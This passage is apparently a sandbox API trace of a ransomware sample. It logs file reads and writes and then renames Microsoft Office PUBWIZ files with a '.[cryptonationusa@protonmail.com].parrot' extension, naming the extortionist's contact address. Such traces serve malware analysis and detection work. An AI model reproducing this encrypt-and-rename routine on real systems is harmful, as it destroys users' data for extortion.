lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.411] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.411] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3caa2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3caa2, lpOverlapped=0x0) returned 1 [0205.416] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcrd98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcrd98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0205.433] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.433] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.434] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.435] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0205.466] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.466] WriteFile (in: hFile=0x27c, lpBuffer=0x319c470*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x319c470*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0205.470] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.470] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0205.473] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14906a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0205.473] CloseHandle (hObject=0x27c) returned 1 [0205.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0205.527] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.527] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.529] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.529] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2614, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2614, lpOverlapped=0x0) returned 1 [0205.530] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0205.540] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.540] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.544] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.544] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x329e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x329e0, lpOverlapped=0x0) returned 1 [0205.550] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calhm.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0205.566] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.566] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.567] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.568] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0205.598] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.598] WriteFile (in: hFile=0x27c, lpBuffer=0x319c470*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x319c470*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0205.602] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.602] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0205.605] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a6eba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0205.605] CloseHandle (hObject=0x27c) returned 1 [0205.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0205.613] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.613] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.615] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.615] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b8c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b8c4, lpOverlapped=0x0) returned 1 [0205.621] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0205.628] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.629] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.630] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.630] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x696d4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x696d4, lpOverlapped=0x0) returned 1 [0205.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0205.718] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.719] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.720] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.720] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e4ab, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4e4ab, lpOverlapped=0x0) returned 1 [0205.731] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0205.761] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.761] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.763] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e56, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e56, lpOverlapped=0x0) returned 1 [0205.764] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0205.772] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.772] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.773] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.773] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x62f96, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x62f96, lpOverlapped=0x0) returned 1 [0205.785] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.817] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0205.881] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.881] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.882] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.882] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24f44, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x24f44, lpOverlapped=0x0) returned 1 [0205.888] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0205.902] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.902] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.904] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.904] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c1df, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c1df, lpOverlapped=0x0) returned 1 [0205.912] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0206.003] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.003] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.004] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.005] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x170a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x170a, lpOverlapped=0x0) returned 1 [0206.006] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0206.014] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.014] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.019] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.019] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11b82, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11b82, lpOverlapped=0x0) returned 1 [0206.023] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 